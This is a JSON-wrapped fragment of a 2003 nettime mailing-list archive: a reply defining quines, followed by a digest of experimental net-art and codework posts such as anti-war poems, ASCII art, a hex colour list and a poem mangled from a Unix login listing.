                        "content": "\nTo be completely accurate, a Quine is a program whose output is exactly the\nsame as it's complete source code.  It's named in honor of Willard Van Orman\nQuine, an influential mathematician and philosopher who died in 2000.  Quine\nprogramming is a common CS school homework assignment.\n\nSome related reading:\n\nhttp://www.wvquine.org/\nhttp://www.nyx.net/~gthompso/quine.htm\n\n-Dan\n\n> From: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\n> Reply-To: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\n> Date: Tue, 25 Mar 2003 19:03:20 +0100\n> To: nettime-l {AT} bbs.thing.net\n> Subject: <nettime> unstable digest vol 39\n> \n> From: Harwood <Harwood {AT} scotoma.org>\n> To: reader-list {AT} mail.sarai.net\n> Subject: [Reader-list] war.pl\n> Date: Mon, 17 Mar 2003 23:15:08 +0000\n> \n> A little something I came across recently\n> It's a quine - a self replicating programme\n <...>\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00135",
                        "date": "Tue, 25 Mar 2003 17:37:20 -0600",
                        "to": "Nettime List <nettime-l {AT} bbs.thing.net>",
                        "message-id": "200303260845.h2Q8jdn11148 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0303/msg00135.html",
                        "content-type": "text/plai",
                        "author_name": "Dan Sheetz",
                        "subject": "Re: <nettime> unstable digest vol 39"
                    }
                ],
                "message-id": "200303260117.h2Q1HPW08559 {AT} bbs.thing.net",
                "date": "Tue, 25 Mar 2003 19:03:20 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00091",
                "content": "\nTo: _arc.hive_ {AT} lm.va.com.au\nFrom: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\nSubject: Re:  [Buyo]_Logical Pop_\nDate: Sun, 09 Mar 2003 11:19:07 +0100\n\n_[R]tier fa/r/me[n]ting\n\n_[Bo].a[r]n[d]-nscioust-ti[mr]ket.rmar[gra]n/tin2 tw.rd[.i.se]-k > \nT-ns[ly]s < w[rls]\n   [</vty var]e.z[ur/m]m[e]ip>ol-Pp Cult[r-ctr-pr]ain-t-s + swit-Fr/lt\n   v.int-s < sw[blit r]cong-wird[pro.b_red_metin2 the prritch.wral.l.l..in2 \nthe dam[mov.es]s_\n   +rs +bless-nd[rd-sw].gness.pr[als]-w[itn] ribb.ngen + se[r]ol[i]s[h]\n\n_[Str]n.tiff co[nned_med] d.g[n][ess-n txt]anec.t.ign\n   c.t.se[rl-pr]o.bl[varn]es-Log.c.t.to.b.t[w.rd dals]\n\n_[R]ting < + blingl> sp.ia-d.pro.ne[ur][al] Wird[rl]F[r]cturall[ar][gra.mnt\n\n\n\nAt 10:21 09/03/03 +1100, mez wrote:\n\n\n\n\n>_[Buyo]Logical Pop Cult[ural] M.[*.ap]Perri.[R]tiff_\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Al-Ghazali, commentary on Internet Text\nDate: Tue, 11 Mar 2003 08:20:59 -0500 (EST)\n\n\n\n\nAl-Ghazali, commentary on Internet Text:\n\na book of scribbles, nonsense, a book which shifts out from under you -\na contrary or wayward book, self-contrary, asking nothing -\na book to be read in any position, in any state of mind -\na book of meaningless revelations -\na book to be pronounced or mispronounced any way you like -\na book to be read once or thousands of times, or not to be read at all -\na book of any emotional states of writers and readers -\na book to be handled with purity or impurity, scarcity or excess -\na book read in murmuring, silence, politely, a book to be read out loud -\na book to be read quickly, almost in a blur or slowly at a standstill -\na book without supplication, an orderly or disorderly book -\na book without obeisance or honor, a dishonorable book -\na book any way one wants it, an irritable confusing book -\na book you can put down at any time or read through all at once -\na book whose length grows, a mumbled indistinct book -\na book of many colors and images, a perverse and impolitic book -\na vowelless and unreadable book -\nan illegible book, without punctuation -\nan archaic book from the future, an anachronistic book from the past -\na book of run-on sentences, words, and chapters, dissembling, unclear -\na book of diminished speech, of intensities and dissolutions -\na wavering and belittled book, a wavered and belittling book -\na book neither here nor there, neither this nor that -\na book to be dismissed, a book displaced by wandering souls -\na misinterpreted book, a book without interpretation -\na book without conceivable interpretation, a mute and blurred book -\nan opaque book, a book with obstacles, a book of obstacles -\na book of generalities, an insipid and tepid book -\nan unfeeling and austere book, a book without emotional response -\na book of babbling and indecipherable voices -\nan unsatisfying and incomplete book, a book impossible to grasp -\n\n\n===\n\n\nDate:         Tue, 11 Mar 2003 13:40:12 GMT\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nSubject: Re: Al-Ghazali, commentary on Internet Text\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\na lonely book\na living book whose pages are skin and whose letters are schitzopodal\neye-stalks\na crystalline book whose pages are flexible and whose words are\nmicroscopic and circulate in transparent cappillaries\na gigantic book which is actually a city, whose pages are towering\napartment building and whose rowdy denizens are each a signal\nan extremely dumb book made of soggy pancakes squashed in the road\na fake book, a book of tromp l'oeil bookness\na dirty book, full of dirty pictures, about dirt, of the soil\nan elastic book, whose pages are stretched to interminable limits\na book of ultimate density which cannot be moved, the unmoveable book\nthe omphalos book, the original immortal book at the bottom of the ocean\nan intelligent book, which can be anything at all, including what once\nwas called a god/dess\na sticky book, so sticky that once you have touched it extrication is\nimpossible even with death\na ridiculous book, a book so silly and full of self-ridicule its pages\nare permanently wrinkled in disorder\na book of swamps, where alligators leap from the pages to devour\nhapless readers\na dead book, this corpse book is a post-mortem narrative of its own\nnecrescence\na holographic book which you can step into and exit in the future or\nthe past but never return\na supple book, a book whose surfaces are highly eroticized and cause\nsensual dilemmas and great bibliophilia\na book of sentient nanomite chromophores whose bodies create undulating\nAI glyph dreams\nan asexual book, this book multiplies and copies itself until all the\nspace in the universe is used up utterly\na book of condensed flame, anyone attempting to read this book beside\nthe king of djinns will be consumed in fiery demolition\nthe walking book, this book has legs and runs towards you reading\nitself aloud though you protest mightily\na new book, a very new book, a book which hasn't existed until NOW!\n\n\n\nFrom: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\nTo: \"s-.-.~\" <7-11 {AT} mail.ljudmila.org>\nDate: Fri, 14 Mar 2003 12:55:58 +0100\nSubject: = sixteen\n\n                   \n            \n            \n                    \n                   \n                    \n\n                    \n\n             \n             \n             \n                  \n  \n    \n    \n    \n    \n                      \n changed i, i, _    \n              t, remains i, the think blue                  \n          xiniatrix           \n             and think still e, _                     \n           l, you c, n,           \n          searching i, l, yellow r, blue                      \n                \n                \n                \n                \n                \n    the } red l,                     \n    i, a, { r, \n           of beginning background yellow            \n    you but p, t s, think l,               \n  } {            \n           l, l, t,           \n    _ i in r, _ red i,             \n\n           \n           \n           \n           \n                              \n   knows {            \n\n\n\n\n\n\n\n\n\n\n\n\n                   \n\n\n\n\n\n\n  \n\n\n\n\n\n\n      \n\n\n\n\n\n\n       _ r, _ _ u, h,           \n        \n    _ s, orange n, l, e, i,       \n   s         \n              remains red . blue _ h, a e,                 \n    } {     \n\n\n\n\n\n\n          orange } { i, blue     \n                     \n        me humans               \n  \n              . . l, red _ green              \n               you n, r, i   \n\n\n\n\n\n\nis 16\n\n\n\n\n\n\n.\n\n\n\n\n\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nDate: Sun, 9 Mar 2003 12:58:23 -0800\nFrom: ui uuii <uiuuii {AT} UIUUII.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: no:waqr::\n\nno:waqr::\n\nno:waqr::\nno:waqr::gainst:q\n\nno:waqr::\nno:waqr::gainst:q\n\nwhoM:iq?\nwhoM:iq?\n\nthis blue:Carpet\n::who::Looks:at::\n\nwhoM:iq?\nwh:at:World:? DID\n\nwe:Askafor: &T O n\notknow::\nit:\n\nIT IS DNAGEROUS NOT TO KNOW THE TUTH\nIT IS DNAGEROUS NOT TO KNOW THE TUTH\n\nWHO:IS:GEORGE:W:BUSH:\n&:whoM:iq?\n\n\n2:22:03\nfrom: http://www.poetsagainstthewar.org/displaypoem.asp?AuthorID=11348\n\n\n\n\n\nFrom: \"BlueScreen\" <b-l-u-e-s-c-r-e-e-n {AT} b-l-u-e-s-c-r-e-e-n.net>\nTo: nettime-l {AT} bbs.thing.net\nDate: Mon, 10 Mar 2003 14:48:45 +0100\nSubject: <TITLE>[ f r a m e s ]____//NO_WAR!!//_-BlueScreen.2003</TITLE>\n\n[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War \n]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ \nNo_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War \n]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ \nNo_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War \n]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ \nNo_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War \n]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ \nNo_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War \n]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ \nNo_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War \n]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ \nNo_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War \n]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ \nNo_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War \n]_/ /_[ No_War ]_\\ \\_[ [ http://b-l-u-e-s-c-r-e-e-n.net/frames/ ] ]_/ /_[ No_War ]_\\ \\_[ \nNo_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War \n]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ \nNo_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War \n]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ \nNo_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War \n]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ \nNo_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War \n]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ \nNo_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War \n]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ \nNo_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War \n]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ \nNo_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War \n]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ \nNo_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War \n]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_[ No_War ]_/ /_[ No_War ]_\\ \\_]\n\n\n\n\nDate: Mon, 10 Mar 2003 00:40:56 +0100\nTo: o-o {AT} konf.lt\nSubject: Re:  |   || \" || 9-3-2003-22:36 |_| 423226 4\" || blue||orange||||||yellow||||||green||||||red|||black 'purple ~\" || a |\nFrom: hexcode {AT} o-o.lt\n\n#FFFFFF   \n#FFFFCC  \n#FFFF99  \n#FFFF66  \n#FFFF33  \n#FFFF00  \n#FFCCFF  \n#FFCCCC  \n#FFCC99  \n#FFCC66  \n#FFCC33  \n#FFCC00  \n#FF99FF  \n#FF99CC  \n#FF9999  \n#FF9966  \n#FF9933  \n#FF9900  \n#FF66FF  \n#FF66CC  \n#FF6699  \n#FF6666  \n#FF6633  \n#FF6600  \n#FF33FF  \n#FF33CC  \n#FF3399  \n#FF3366  \n#FF3333  \n#FF3300  \n#FF00FF  \n#FF00CC  \n#FF0099  \n#FF0066  \n#FF0033  \n#FF0000  \n#66FFFF  \n#66FFCC  \n#66FF99  \n#66FF66  \n#66FF33  \n#66FF00  \n#66CCFF  \n#66CCCC  \n#66CC99  \n#66CC66  \n#66CC33  \n#66CC00  \n#6699FF  \n#6699CC  \n#669999  \n#669966  \n#669933  \n#669900  \n#6666FF  \n#6666CC  \n#666699  \n#666666  \n#666633  \n#666600  \n#6633FF  \n#6633CC  \n#663399  \n#663366  \n#663333  \n#663300  \n#6600FF  \n#6600CC  \n#660099  \n#660066  \n#660033  \n#660000  \n#CCFFFF  \n#CCFFCC  \n#CCFF99  \n#CCFF66  \n#CCFF33  \n#CCFF00  \n#CCCCFF  \n#CCCCCC  \n#CCCC99  \n#CCCC66  \n#CCCC33  \n#CCCC00  \n#CC99FF  \n#CC99CC  \n#CC9999  \n#CC9966  \n#CC9933  \n#CC9900  \n#CC66FF  \n#CC66CC  \n#CC6699  \n#CC6666  \n#CC6633  \n#CC6600  \n#CC33FF  \n#CC33CC  \n#CC3399  \n#CC3366  \n#CC3333  \n#CC3300  \n#CC00FF  \n#CC00CC  \n#CC0099  \n#CC0066  \n#CC0033  \n#CC0000  \n#33FFFF  \n#33FFCC  \n#33FF99  \n#33FF66  \n#33FF33  \n#33FF00  \n#33CCFF  \n#33CCCC  \n#33CC99  \n#33CC66  \n#33CC33  \n#33CC00  \n#3399FF  \n#3399CC  \n#339999  \n#339966  \n#339933  \n#339900  \n#3366FF  \n#3366CC  \n#336699  \n#336666  \n#336633  \n#336600  \n#3333FF  \n#3333CC  \n#333399  \n#333366  \n#333333  \n#333300  \n#3300FF  \n#3300CC  \n#330099  \n#330066  \n#330033  \n#330000  \n#99FFFF  \n#99FFCC  \n#99FF99  \n#99FF66  \n#99FF33  \n#99FF00  \n#99CCFF  \n#99CCCC  \n#99CC99  \n#99CC66  \n#99CC33  \n#99CC00  \n#9999FF  \n#9999CC  \n#999999  \n#999966  \n#999933  \n#999900  \n#9966FF  \n#9966CC  \n#996699  \n#996666  \n#996633  \n#996600  \n#9933FF  \n#9933CC  \n#993399  \n#993366  \n#993333  \n#993300  \n#9900FF  \n#9900CC  \n#990099  \n#990066  \n#990033  \n#990000  \n#00FFFF  \n#00FFCC  \n#00FF99  \n#00FF66  \n#00FF33  \n#00FF00  \n#00CCFF  \n#00CCCC  \n#00CC99  \n#00CC66  \n#00CC33  \n#00CC00  \n#0099FF  \n#0099CC  \n#009999  \n#009966  \n#009933  \n#009900  \n#0066FF  \n#0066CC  \n#006699  \n#006666  \n#006633  \n#006600  \n#0033FF  \n#0033CC  \n#003399  \n#003366  \n#003333  \n#003300  \n#0000FF  \n#0000CC  \n#000099  \n#000066  \n#000033  \n#000000\n\n\n\nDate: Fri, 14 Mar 2003 19:31:26 +0100\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: HY  st -ory    eria\n\n00:ad:54:18:de:b4:bf:f7:ad:e8:74:aa:ed:8b:7c:\n8f:c2:d4:75:1a:d5:84:b9:b6:62:fc:89:ef:e4:97:\n61:92:fb:1d:b8:e1:5a:47:34:9e:9e:06:22:fb:d3:\nea:38:cb:b8:8b:07:f7:1a:a0:17:77:07:5a:30:1c:\nd4:29:38:20:d7:27:40:d8:50:93:43:bf:d2:18:a2:\n29:76:05:72:aa:6b:b6:69:98:ab:79:1e:1c:65:f5:\n6a:8b:fc:c5:16:aa:a2:72:da:60:ed:4e:6e:19:25:\n7a:0a:1d:30:e3:50:9b:42:3c:44:eb:a1:b0:20:1e:\ndb:02:7e:fe:3d:1f:bf:d0:00:8a:db:40:76:a6:18:\na5:15:a7:57:b6:52:c2:01:17:98:77:8f:8a:81:c6:\n1a:b4:6a:2a:e6:af:a9:d6:00:ac:cf:d8:15:49:7c:\ndb:1b:a1:fe:81:fa:87:f9:d3:90:c1:02:c0:f9:d0:\n42:e9:91:68:25:5f:c6:bf:87:39:e9:95:00:60:28:\nbf:83:2c:c0:e7:5e:b6:d7:36:16:e7:60:87:76:e8:\ne7:27:b2:25:0d:8b:7a:e5:aa:1d:e5:59:cd:ce:0b:\n0e:6f:c6:c8:9c:e3:10:d9:85:39:d3:b7:9b:fa:c6:\nba:7c:74:d2:5d:75:56:ab:74:a4:a2:51:bf:52:7c:\nee:71\n                 Exponent: 65537 (0x10001)\n\n\n\n\n\nla:vi:eg:ri:nc:ec:es:tl:av:ie:qu:ig:ri:nc:ec:es:\ntl:eg:ri:nc:em:en:td:el:av:ie:qu:on:en:te:nd:da:\nns:la:pl:ui:eq:ui:to:mb:el:av:ie:pl:eu:tm:av:ie:\npl:eu:ti:lp:le:ut:de:la:vi:ed:an:sl:ap:lu:ie:le:\ngr:in:ce:me:nt:ce:st:le:mo:nd:eq:ui:to:mb:ec:es:\ntlemondequirince&lapluierincelemondelegrincementcoincejepleusmaviemaviemepleutmavietombeengouttesjegoutte:dans:ma\n\n\n\n\nvi:e l:e m:on:de :go:ut:te: dr:op-by-drop le:grincement: c:es:t l:a\np:lu:ie :la: pl:ui:e\nqu:i t:om:be: le:\n                           c:ie:l rince le monde:\n\n\n\n\n\n-- \npasc {AT} csaq\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: machines-world\nDate: Sun, 09 Mar 2003 18:28:09 +0100\n\n& mon regard l'horizon c'est l'\u00e9cran\nl'horizon est le regard pos\u00e9 sur l'\u00e9cran\nlignes continues des flux\ncalcul(ation)s\nuninterrupted of machines-world\nq=u=i=c=r=a=q=u=e=n=t=&=c=r=\u00e9=p=i=t=e=n=t\nq=u=i=c=r=a=q=u=e=n=t=&=c=r=\u00e9=p=i=t=e=n=t\ncomputers all around me\nscreens are my very eyes to look at the W.elt=d\nsome windows are open the horizon is falling\n& i'm falling with it in the screens pixels\ncalculs bodies backgrounds foregrounds\nsurface of the=boiling=water=dupMargins=dupBlackTransfer=\ndetonations=dupRendering=/FSCMYK32=&=\ni was deaddupBeginPageCommand=\nit=seems=to=me=i=was=dead=with=the=screen=horizon\nwith computers\n& machines & &\n& aircrafts\n& blue sky\n& sDEVICE=uniprint\n& dNOPAUSE//////////////\n& dSAFER\n& dupColorModel=/DeviceCMYKgenerate\n&-dupRendering=dupOutputComponentOrder=\n&-dupOutputFormat=/\n&=l=\u00e9=c=r=a=n=h=o=r=i=z=o=n=\n&-0.0000 0.0008 0.0033 0.0075 0.0133 0.0208 0.0300 0.0408\n& 0.0533 0.0674 0.08/2 0.1007 0.1199 0.1407 0.1632 0.1873\n                      ///////////\n0.0000 0.0008 0./033 0.0075 0.0133 0.0208 0.0300 0.0408\n0.0533 0.0674 0/0832 0.1007 0.1199 0.1407 0.1632 0.1873\n0.2131 0.2406 /.2697 0.3005 0.3330 0.3671 0.4029 0.4404\n0.4795 0.5203/0.5627 0.6069 0.6527 0.7001 0.7492 0.8000\n////////////\nles ordi/ateurs craquent\n& cr\u00e9p/tent tout autour de moi\nles \u00e9/rans sont mes yeux pour voir le monde\ndes /en\u00eatres sont ouvertes\nl'h/rizon d'un monde qui tombe\n& /je tombe avec le monde\n\n-- \npasc {AT} csaq\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: MOAB TELECOMMUNICATIONS DISRUPTION\nDate: Thu, 13 Mar 2003 22:41:16 -0500 (EST)\n\n\n\n\nMOAB TELECOMMUNICATIONS DISRUPTION\n\n\n10:35PMMOAB36MOAB,MOAB0,MOABsers,MOABMOABages:MOAB,MOAB,MOAB\nUSERMOABTYMOABMOABMOABMOABOGIN {AT} MOABEMOAB\njbrailsfMOABtratus.nts.jhu.MOAB6AMMOAB0MOABh\nnwangMOAB1MOAB0da11a3fe.neMOAB4PMMOAB0MOAB\nalexisMOABMOAB08-201-237.nMOAB1PMMOAB8MOAB\ncatiMOABp3MOAB.dialup.acceMOAB5PMMOAB0MOAB/local/bin/pine -i\nfjMOABMOABbyzantium.nyc.acMOAB9PMMOAB1MOABh\nkynnMOABp5MOAB-151-203-229MOAB2PMMOAB0MOABh\ntdlMOABMOABser-0cceh3h.cabMOABb03MOAB0MOAB\nwdstarrMOABSCRUBBING-BUBBLEMOAB6PMMOAB2MOABMOABept_all_cookiesMOABause h\nkwdMOABMOABault-zero.interMOAB1PMMOAB2MOABh\nmelgaMOAB9MOAB6-184-96.c3-MOAB2AMMOAB3MOAB/local/bin/pine -i\nargentMOABMOAB92-069-249.bMOAB3AMMOAB2MOAB-fMOAB/u/1/a/argent/Mail.in/je\namenckeMOABAC8F44B0.ipt.aolMOAB7PMMOAB2MOABh\nlrampeyMOABsmarty.smart.netMOAB7PMMOAB0 -\narkoMOABpdMOAB08-185-173.nMOAB9PMMOAB0MOABsMOABnygop.assembly03\nrockyMOABeMOAB93-085-207.nMOAB4PMMOAB0MOABs\nseligmanMOAB16.173.206.176MOAB13AMMOAB8MOABh\nelflordMOABelflord.dialup.aMOAB1PMMOAB0MOAB\nelooMOABphMOAB18baaced.dynMOAB3PMMOAB2MOABh\nglassMOABiMOAB-2iveap9.diaMOAB8PMMOAB0MOABMOAB/u/3/g/glass/.article\nnhyMOABMOAB46-115-46-235.cMOAB1AMMOAB0MOABh\nwalterMOABMOAB-4-31-108.pvMOAB7PMMOAB7MOAB\nwendyMOABlMOABewiston-pw-1MOAB1PMMOAB0MOAB\nfireballMOABool-68-162-45-2MOAB0PMMOAB0MOABh\nocheretMOABdsl081-196-201.nMOAB7PMMOAB0MOABh\nharryuMOABMOAB-63-194-80-6MOAB3PMMOAB0MOABh\nblamMOABppMOABatgnet.comMOAB:07PMMOAB0MOAB/local/bin/pine -i\nericrMOABqMOABA13B.ipt.aolMOAB1PMMOAB1 -\nwagnericMOAB-69-3-48-179.DNMOAB3PMMOAB0MOABh\njeff99MOABMOAB-38lc06m.diaMOAB8PMMOAB0MOABg\ntbetzMOABtMOAB208.customerMOAB8PMMOAB5MOABMOABog\nfjMOABMOABpool-151-205-98-MOAB4PMMOAB0MOABh\nseMOABMOABh002078dae011.neMOAB3PMMOAB2MOABh\nbittyMOAB0MOAB4e24a56f9.neMOAB3PMMOAB0MOABh\njdanielsMOAB4-42-13-52.atgiMOAB0PMMOAB0 -\nomarMOABq2MOAB-423a116a.lgMOABr03MOAB0MOAB\nlimMOABMOAB4-193-165-101.nMOAB6PMMOAB0 -\ninguyMOAB4MOABx1.nyc.accesMOAB0PMMOAB0 -\nsawbonesMOABool-68-161-69-2MOAB7PMMOAB2MOABh\nsethbookMOABethbook.dialup.MOAB8PMMOAB0MOAB\ndb-testMOAB-MOABMOABMOABMOAB5AMMOAB1MOABh\nkwdMOABMOABool0517.cvx4-brMOAB7PMMOAB6MOAB/local/bin/perlMOABnet/u/1/k/k\nimeMOABMOABs23-har-ct-1-16MOAB1PMMOAB0MOAB/local/bin/less\nmcMOABMOABmctest.dialup.acMOAB7PMMOAB7MOABh\nghatchMOABMOAB-158-48-241.MOAB2PMMOAB0 -\nsc1MOABMOAB4-90-251-209.nyMOAB7PMMOAB0MOAB\nmacgheeMOAB24-90-85-243.nycMOAB3PMMOAB0MOABail\ndaggerMOABMOAB8-f2.nyc.junMOAB3PMMOAB1MOAB/local/bin/pineMOABetc/conf/pi\nbksMOABMOAB2-233-45-30.cliMOAB3PMMOAB0MOABh\nthorMOABqgMOABardhell.aptiMOAB3PMMOAB0MOABh\ndacMOABMOABgm-66-24-162-15MOAB1AMMOAB0MOABh\nholeeMOABiMOAB-4-103-177.oMOAB4PMMOAB0MOAB\nbaldwinMOAB24.247.150.230.kMOAB9PMMOAB2MOABpMOAB\njjbakerMOABpool-68-161-117-MOAB9PMMOAB0MOABec.arts.sf.fandom\nbarbaraMOAB66.159.176221.adMOAB7PMMOAB2MOAB/local/bin/pine -i\ntoadlerMOAB66-108-175-21.nyMOAB3PMMOAB0 -\nclaudiaMOABuser-1121e5m.dslMOAB3AMMOAB2 -\nbaloglouMOABaloglou.oswego.MOAB9PMMOAB0MOABh\nsondheimMOABailhost.nyf.orgMOAB2PMMOAB0 w\namdMOABMOAB04.176.146.51MOAB:43PMMOAB0MOABh\nanatolyMOABhqinbh5-x0.ms.coMOAB9AMMOAB1 -\ndacMOABMOABgm-66-24-162-15MOAB1AMMOAB0MOABh\ndvbMOABMOABMOABMOABMOABMOABr03MOABysMOABh\njlanierMOAB90.new-york-09rhMOAB2PMMOAB0MOAB -i\njettMOABr0MOAB33.84.102MOABed01PMMOAB1MOAB-vMOABvMOABhost.sva.eduMOABe\njtinsleyMOAB100-60.bas1.dbnMOAB4PMMOAB2MOABh\ndaggerMOABMOAB-151-202-8-1MOAB1PMMOAB1MOAB/local/bin/pineMOABetc/conf/pi\nclayMOABr7MOAB0.136.134MOAB3Mar03MOAB1MOAB93\nmshawMOAB8MOAB.ti.comMOABMOAB7AMMOAB2MOABh\nkgerrardMOABrnuser2.city.wiMOAB5PMMOAB0MOABh\nimeMOABMOABs23-har-ct-1-17MOAB7PMMOAB0MOAB\naqnMOABMOABp225.64.255.237MOAB6PMMOAB0MOAB\nmappelMOABMOAB237-223-80.cMOAB3PMMOAB0MOAB 